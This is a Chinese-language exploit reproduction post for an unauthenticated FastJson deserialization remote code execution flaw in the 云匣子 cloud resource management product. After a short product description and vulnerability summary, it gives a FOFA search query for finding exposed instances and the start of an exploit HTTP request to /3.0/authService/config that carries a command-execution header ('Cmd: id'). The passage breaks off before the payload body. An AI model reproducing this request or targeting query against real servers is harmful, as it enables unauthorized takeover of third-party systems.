云匣子 FastJson反序列化RCE漏洞复现

0x01 产品简介

  云匣子是租户连接云资源的安全管理工具，帮助云租户更加安全、精细的管理云上的虚拟机、数据库等资源。 云安宝结合多年的运维和安全实践，将云上的运维和安全有机结合，实现对运维过程的事前规划、事中控制和 事后审计。在此之上，云匣子还完美集成了自动化运维、资产拓扑发现、账号安全等功能

0x02 漏洞概述

  云匣子authService接口处使用存在漏洞 fastjson 组件，未授权的攻击者可通过fastjson 序列化漏洞对云匣子发起攻击获取服务器权限。

0x03 复现环境

FOFA：app="云安宝-云匣子"

0x04 漏洞复现 

Exp-1

POST /3.0/authService/config HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: id
Content-Type: application/json;charset=utf-8
Origin